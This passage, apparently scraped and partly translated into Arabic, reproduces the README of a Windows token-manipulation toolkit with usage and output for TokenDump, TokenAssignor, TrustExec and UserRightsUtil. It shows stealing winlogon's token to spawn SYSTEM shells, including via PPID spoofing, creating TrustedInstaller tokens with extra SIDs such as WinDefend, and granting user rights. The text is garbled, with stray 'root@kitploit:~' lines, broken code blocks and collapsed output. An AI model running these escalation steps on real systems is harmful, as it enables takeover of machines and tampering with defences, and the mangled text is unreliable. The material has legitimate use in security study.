Privilege Name                            State
========================================= =========================
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeSystemProfilePrivilege                  Disabled
SeSystemtimePrivilege                     Disabled
SeProfileSingleProcessPrivilege           Disabled
SeIncreaseBasePriorityPrivilege           Disabled
SeCreatePagefilePrivilege                 Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Disabled
SeSystemEnvironmentPrivilege              Disabled
SeChangeNotifyPrivilege                   EnabledByDefault, Enabled
SeRemoteShutdownPrivilege                 Disabled
SeUndockPrivilege                         Disabled
SeManageVolumePrivilege                   Disabled
SeImpersonatePrivilege                    EnabledByDefault, Enabled
SeCreateGlobalPrivilege                   EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege             Disabled
SeTimeZonePrivilege                       Disabled
SeCreateSymbolicLinkPrivilege             Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                                        Mandatory, EnabledByDefault, Enabled, Owner
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\High Mandatory Level                          Integrity, IntegrityEnabled


DACL INFORMATION
----------------

Account Name                         Access                      Flags Type
==================================== =========================== ===== =============
BUILTIN\Administrators               GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                  GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425 GenericExecute, GenericRead None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[*] Done.

root@kitploit:~
إذا قمت بتعيين قيمة المقبض في عملية معينة كخيار `-v` وPID كخيار `-p` بالإضافة إلى علامة `-s`، فإن هذه الأداة تحصل على معلومات مفصلة للمقبض كما يلي:```
C:\Dev>.\TokenDump.exe -s -p 7012 -v 0x23C -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump token handle information.

[Token Information for Handle 0x23C of msdtc.exe (PID: 7012)]

Token User          : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Owner         : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Primary Group       : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Type          : Primary
Impersonation Level : Anonymous
Token ID            : 0x000000000007DF17
Authentication ID   : 0x00000000000003E4
Original ID         : 0x00000000000003E7
Modified ID         : 0x000000000007DEE2
Integrity Level     : System
Protection Level    : N/A
Session ID          : 0
Elevation Type      : Default
Mandatory Policy    : NoWriteUp, NewProcessMin
Elevated            : False
AppContainer        : False
TokenFlags          : IsFiltered, NotLow
Has Linked Token    : False
Token Source        : N/A
Token Source ID     : N/A


    PRIVILEGES INFORMATION
    ----------------------

    Privilege Name          State
    ======================= =========================
    SeChangeNotifyPrivilege EnabledByDefault, Enabled
    SeCreateGlobalPrivilege EnabledByDefault, Enabled


    GROUP INFORMATION
    -----------------

    Group Name                             Attributes
    ====================================== ====================================================
    Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
    Everyone                               Mandatory, EnabledByDefault, Enabled
    BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
    CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
    NT SERVICE\MSDTC                       EnabledByDefault, Enabled, Owner
    NT AUTHORITY\LogonSessionId_0_515780   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
    LOCAL                                  Mandatory, EnabledByDefault, Enabled


    DACL INFORMATION
    ----------------

    Account Name        Access      Flags Type
    =================== =========== ===== =============
    NT AUTHORITY\SYSTEM GenericAll  None  AccessAllowed
    OWNER RIGHTS        ReadControl None  AccessAllowed
    NT SERVICE\MSDTC    GenericAll  None  AccessAllowed


    SECURITY ATTRIBUTES INFORMATION
    -------------------------------

    [*] TSA://ProcUnique
        Flags : NonInheritable, Unique
        Type  : UInt64
            Value[0x00] : 0x0000000000000070
            Value[0x01] : 0x000000000007DF18


[*] Done.

للتحقيق في رمز الانتحال المطبق على الخيط، قم بتعيين معرف الخيط كخيار -t كما يلي:``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

C:\Dev>.\TokenDump.exe -s -p 3516 -t 4656 -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to dump thread token information.

[Token Information for svchost.exe (PID: 3516, TID: 4656)]

Token User : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Owner : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Primary Group : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Type : Impersonation Impersonation Level : Impersonation Token ID : 0x0000000000038CC4 Authentication ID : 0x00000000000003E7 Original ID : 0x00000000000003E7 Modified ID : 0x000000000002CE61 Integrity Level : System Protection Level : N/A Session ID : 0 Elevation Type : Default Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : IsFiltered, NotLow, EnforceRedirectionTrust Has Linked Token : False Token Source : N/A Token Source ID : N/A

root@kitploit:~
PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeAssignPrimaryTokenPrivilege Disabled
SeTcbPrivilege                EnabledByDefault, Enabled
SeSecurityPrivilege           Disabled
SeSystemProfilePrivilege      EnabledByDefault, Enabled
SeDebugPrivilege              EnabledByDefault, Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeImpersonatePrivilege        EnabledByDefault, Enabled
SeCreateGlobalPrivilege       EnabledByDefault, Enabled


GROUP INFORMATION
-----------------

Group Name                             Attributes
====================================== ====================================================
Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
Everyone                               Mandatory, EnabledByDefault, Enabled
BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
NT SERVICE\DiagTrack                   EnabledByDefault, Enabled, Owner
NT AUTHORITY\LogonSessionId_0_180260   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL                                  Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                 EnabledByDefault, Enabled, Owner


DACL INFORMATION
----------------

Account Name         Access      Flags Type
==================== =========== ===== =============
NT AUTHORITY\SYSTEM  GenericAll  None  AccessAllowed
OWNER RIGHTS         ReadControl None  AccessAllowed
NT SERVICE\DiagTrack GenericAll  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000047
        Value[0x01] : 0x000000000002C0FA

[*] Done.

root@kitploit:~
## TokenAssignor

[العودة إلى الأعلى](#privfu)

[المشروع](https://github.com/daem0nc0re/privfu/blob/main/TokenAssignor)

هذه الأداة تهدف إلى تعلم كيفية تعيين الرمز الأساسي:```
PS C:\Dev> .\TokenAssignor.exe

TokenAssignor - Tool to execute token assigned process.

Usage: TokenAssignor.exe [Options]

        -h, --help    : Displays this help message.
        -c, --command : Specifies a command to execute. Default is cmd.exe.
        -m, --method  : Specifies a method ID (0 - 3).
        -p, --pid     : Specifies a source PID for token stealing.

[!] -m option is required.

تحاول هذه الأداة سرقة token من عملية محددة وتنفيذ عملية مخصصة لذلك token. تتطلب معظم الطرق صلاحيات إدارية. لتنفيذ عملية مخصصة لل token باستخدام API CreateProcessAsUser، قم بتعيين الخيار -m إلى 0:``` PS C:\Dev> Get-Process winlogon

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName


root@kitploit:~
270      13     2452      10108       0.33    688   1 winlogon

PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 0

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x68). [+] Got a impersonation token from winlogon.exe (Handle = 0x2E0). [+] Impersonation as winlogon.exe is successful. [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9552). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18). Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

root@kitploit:~
عند ضبط الخيار `-m` إلى `1`، يحاول هذه الأداة إنشاء عملية معلقة وتحديث الرمز الأساسي إلى رمز مسروق.
لا يمكن استخدام هذه الطريقة لتغيير معرف الجلسة بسبب قيود النواة.
تفرض النواة مطابقة معرف جلسة الرمز مع معرف الجلسة لـ `_EPROCESS`:```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 1

[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C8).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2D8).
[+] Impersonation as winlogon.exe is successful.
[+] Suspended "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9968).
[*] Current user of the suspended process is DESKTOP-5OHMOBJ\user (SID: S-1-5-21-1955100404-698441589-1496171011-1001)
[+] Primary token for the suspended process is updated successfully.
[*] Current user of the suspended process is NT AUTHORITY\SYSTEM (SID: S-1-5-18)
[*] Resuming the suspended process.
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

إذا تم تعيين الخيار -m إلى 2، يتم إنشاء عملية جديدة مخصصة للرمز مع خدمة تسجيل الدخول الثانوية:``` PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 2

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x2C4). [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 5832). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>

Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

root@kitploit:~
إذا تم تعيين الخيار `-m` إلى `3`، فإنه ينشئ عملية جديدة معينة بالرمز (token) باستخدام طريقة PPID spoofing:```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 3

[+] SeDebugPrivilege is enabled successfully.
[+] Got a handle from PID 688 (Handle = 0x2C4).
[+] Thread attribute is built successfully.
[+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 4852).
[*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

TrustExec

العودة إلى الأعلى

المشروع

هذه الأداة مخصصة لتنفيذ العملية كحساب مجموعة NT SERVICE\TrustedInstaller. النموذج الأصلي هو Grzegorz Tworek's TrustedInstallerCmd2.c. لقد قمت بنقله إلى C# وإعادة بنائه كأداة. معظم العمليات تتطلب صلاحيات إدارية (SeDebugPrivilege، SeImpersonatePrivilege ومستوى إلزامي عالٍ):``` PS C:\Dev> .\TrustExec.exe

TrustExec - Tool to create TrustedInstaller process.

Usage: TrustExec.exe [Options]

root@kitploit:~
    -h, --help        : Displays this help message.
    -l, --lookup      : Flag to lookup account name or SID.
    -n, --new-console : Flag to create new console. Use with -x flag.
    -x, --exec        : Flag to execute command.
    -a, --account     : Specifies account name to lookup.
    -c, --command     : Specifies command to execute. Default is cmd.exe.
    -e, --extra       : Specifies command to execute. Default is cmd.exe.
    -m, --method      : Specifies method ID. Default is 0 (NtCreateToken method).
    -s, --sid         : Specifies SID to lookup.

Available Method IDs:

root@kitploit:~
    + 0 - Leverages NtCreateToken syscall.
    + 1 - Leverages virtual logon.
    + 2 - Leverages service logon.
    + 3 - Leverages S4U logon.
    + 4 - Leverages TrustedInstaller service.
root@kitploit:~
لهذه الوحدة، تم تطبيق تقنيتين. يمكننا تحديد طريقة باستخدام الخيار `-m`. يمكن أن تكون قيمة الخيار `-m` عددًا صحيحًا من `0` إلى `4`. على سبيل المثال، إذا قمت بتعيين الخيار `-m` إلى `0`، فإن هذه الأداة تحاول الحصول على رمز `TrustedInstaller` باستخدام `NtCreateToken`:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0xE8).
[+] Got a token assigned process (PID: 2832).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeCreateTokenPrivilege                    Create a token object                                              Enabled
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeSyncAgentPrivilege                      Synchronize directory service data                                 Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
SeRelabelPrivilege                        Modify an object label                                             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Dev> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                            Attributes
====================================== ================ ============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                        Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                   Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                   Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384

إذا كنت تريد إنشاء عملية مع وحدة تحكم جديدة، قم بتعيين العلم -n كما يلي:``` PS C:\Dev> .\TrustExec.exe -m 1 -x -c powershell -n

[*] Virtual logon method is selected. [+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Impersonation as smss.exe is successful. [+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread. [+] SeImpersonatePrivilege is enabled successfully for current thread. [+] SeTcbPrivilege is enabled successfully for current thread. [+] A virtual domain VirtualDomain is created successfully (SID: S-1-5-110). [+] A virtual account VirtualDomain\VirtualAdmin is created successfully (SID: S-1-5-110-500). [+] Got a virtual logon token (Handle = 0xEC). [+] Got a token assigned process (PID: 23836). [+] VirtualDomain domain is removed successfully.

root@kitploit:~
تقبل كل طريقة باستثناء طريقة خدمة TrustedInstaller (المعرف لخيار `-m` هو `4`) مجموعات SID إضافية باستخدام خيار `-e`.
يجب أن يكون تنسيق القيمة لخيار `-e` سلسلة SDDL SID.
لفاصل سلسلة SID، يمكنك استخدام فاصلة كما يلي:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell -e S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736,S-1-5-32-551

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0x30C).
[+] Got a token assigned process (PID: 17500).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                             Attributes
====================================== ================ =============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551                                                    Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                    Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464  Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                    
NT SERVICE\WinDefend                   Well-known group S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Enabled by default, Enabled group

لحل معرف الأمان للحساب (SID)، قم بتعيين العلامة -l والخيار -a مع اسم الحساب كما يلي:``` PS C:\Dev> .\TrustExec.exe -l -a "nt service\windefend"

[] Account Name : NT SERVICE\WinDefend [] Account SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

PS C:\Dev> .\TrustExec.exe -l -a users

[] Account Name : BUILTIN\Users [] Account SID : S-1-5-32-545 [*] Account Type : Alias

root@kitploit:~
## UserRightsUtil

[العودة إلى الأعلى](#privfu)

[المشروع](https://github.com/daem0nc0re/privfu/blob/main/UserRightsUtil)

هذه الأداة لإدارة حقوق المستخدم بدون `secpol.msc`. الأوامر غير `lookup` تتطلب صلاحيات المسؤول:```
C:\dev>UserRightsUtil.exe

UserRightsUtil - User rights management utility.

Usage: UserRightsUtil.exe [Options]

        -h, --help   : Displays this help message.
        -m, --module : Specifies module name.

Available Modules:

        + enum   - Enumerate user rights for specific account.
        + find   - Find accounts have a specific user right.
        + lookup - Lookup account's SID.
        + manage - Grant or revoke user rights.

[*] To see help for each modules, specify "-m <Module> -h" as arguments.

[!] -m option is required.

وحدة enum

لتعداد حقوق المستخدم لحساب معين، استخدم الأمر enum مع الخيارات -u و d أو الخيار -s كما يلي:``` C:\dev>UserRightsUtil.exe -m enum -d contoso -u jeff

[>] Trying to enumerate user rights. |-> Username : CONTOSO\jeff |-> SID : S-1-5-21-3654360273-254804765-2004310818-1105 [+] Got 7 user right(s). |-> SeChangeNotifyPrivilege |-> SeIncreaseWorkingSetPrivilege |-> SeShutdownPrivilege |-> SeUndockPrivilege |-> SeTimeZonePrivilege |-> SeInteractiveLogonRight |-> SeNetworkLogonRight [*] Done.

C:\dev>UserRightsUtil.exe -m enum -s S-1-5-21-3654360273-254804765-2004310818-1105

[>] Trying to enumerate user rights. |-> Username : CONTOSO\jeff |-> SID : S-1-5-21-3654360273-254804765-2004310818-1105 [+] Got 7 user right(s). |-> SeChangeNotifyPrivilege |-> SeIncreaseWorkingSetPrivilege |-> SeShutdownPrivilege |-> SeUndockPrivilege |-> SeTimeZonePrivilege |-> SeInteractiveLogonRight |-> SeNetworkLogonRight [*] Done.

root@kitploit:~
إذا لم تحدد اسم النطاق باستخدام الخيار `-d`، فاستخدم اسم الكمبيوتر المحلي كاسم للنطاق:```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m enum -u guest

[>] Trying to enumerate user rights.
    |-> Username : CL01\Guest
    |-> SID      : S-1-5-21-2659926013-4203293582-4033841475-501
[+] Got 3 user right(s).
    |-> SeInteractiveLogonRight
    |-> SeDenyInteractiveLogonRight
    |-> SeDenyNetworkLogonRight
[*] Done.

find Module

هذا الأمر للعثور على المستخدمين الذين لديهم صلاحية محددة. على سبيل المثال، إذا كنت تريد العثور على المستخدمين الذين لديهم SeDebugPrivilege، قم بتنفيذ ما يلي:``` C:\dev>UserRightsUtil.exe -m find -r debug

[>] Trying to find users with SeDebugPrivilege. [+] Found 1 user(s). |-> BUILTIN\Administrators (SID : S-1-5-32-544, Type : SidTypeAlias) [*] Done.

root@kitploit:~
لعرض القيم المتاحة للخيار `-r`، استخدم الخيار `-l`:```
C:\dev>UserRightsUtil.exe -m find -l

Available values for --right option:
        + TrustedCredManAccess           : Specfies SeTrustedCredManAccessPrivilege.
        + NetworkLogon                   : Specfies SeNetworkLogonRight.
        + Tcb                            : Specfies SeTcbPrivilege.
        + MachineAccount                 : Specfies SeMachineAccountPrivilege.
        + IncreaseQuota                  : Specfies SeIncreaseQuotaPrivilege.
        + InteractiveLogon               : Specfies SeInteractiveLogonRight.
        + RemoteInteractiveLogon         : Specfies SeRemoteInteractiveLogonRight.
        + Backup                         : Specfies SeBackupPrivilege.

--snip--

lookup Module

يُستخدم هذا الأمر للبحث عن account SID كما يلي:``` C:\dev>UserRightsUtil.exe -m lookup -d contoso -u david

[*] Result: |-> Account Name : CONTOSO\david |-> SID : S-1-5-21-3654360273-254804765-2004310818-1104 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -s S-1-5-21-3654360273-254804765-2004310818-500

[*] Result: |-> Account Name : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -d contoso -u "domain admins"

[*] Result: |-> Account Name : CONTOSO\Domain Admins |-> SID : S-1-5-21-3654360273-254804765-2004310818-512 |-> Account Type : SidTypeGroup

root@kitploit:~
إذا لم تحدد اسم النطاق باستخدام الخيار `-d`، استخدم اسم الكمبيوتر المحلي كاسم النطاق:```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m lookup -u admin

[*] Result:
    |-> Account Name : CL01\admin
    |-> SID          : S-1-5-21-2659926013-4203293582-4033841475-500
    |-> Account Type : SidTypeUser

وحدة الإدارة

هذا الأمر يُستخدم لمنح أو إلغاء صلاحيات المستخدم لحساب مستخدم معين. لمنح صلاحية مستخدم، حدد صلاحية مستخدم كقيمة للخيار -g:``` C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [-] No users. [*] Done.

C:\dev>UserRightsUtil.exe -m manage -g tcb -d contoso -u administrator

[>] Target account information: |-> Username : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 [>] Trying to grant SeTcbPrivilege. [+] SeTcbPrivilege is granted successfully.

C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [+] Found 1 user(s). |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser) [*] Done.

root@kitploit:~
لإلغاء صلاحية المستخدم، حدد صلاحية مستخدم كقيمة للخيار `-r`:```
C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
    |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.


C:\dev>UserRightsUtil.exe -m manage -r tcb -d contoso -u administrator

[>] Target account information:
    |-> Username : CONTOSO\Administrator
    |-> SID      : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to revoke SeTcbPrivilege
[+] SeTcbPrivilege is revoked successfully.

C:\de>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.

لسرد القيم المتاحة لخيار -g أو -r، استخدم الخيار -l:``` C:\dev>UserRightsUtil.exe -m manage -l

Available values for --grant and --revoke options: + TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege. + NetworkLogon : Specfies SeNetworkLogonRight. + Tcb : Specfies SeTcbPrivilege. + MachineAccount : Specfies SeMachineAccountPrivilege. + IncreaseQuota : Specfies SeIncreaseQuotaPrivilege. + InteractiveLogon : Specfies SeInteractiveLogonRight. + RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight. + Backup : Specfies SeBackupPrivilege.

--snip--

root@kitploit:~
## مرجع

[العودة إلى الأعلى](#privfu)

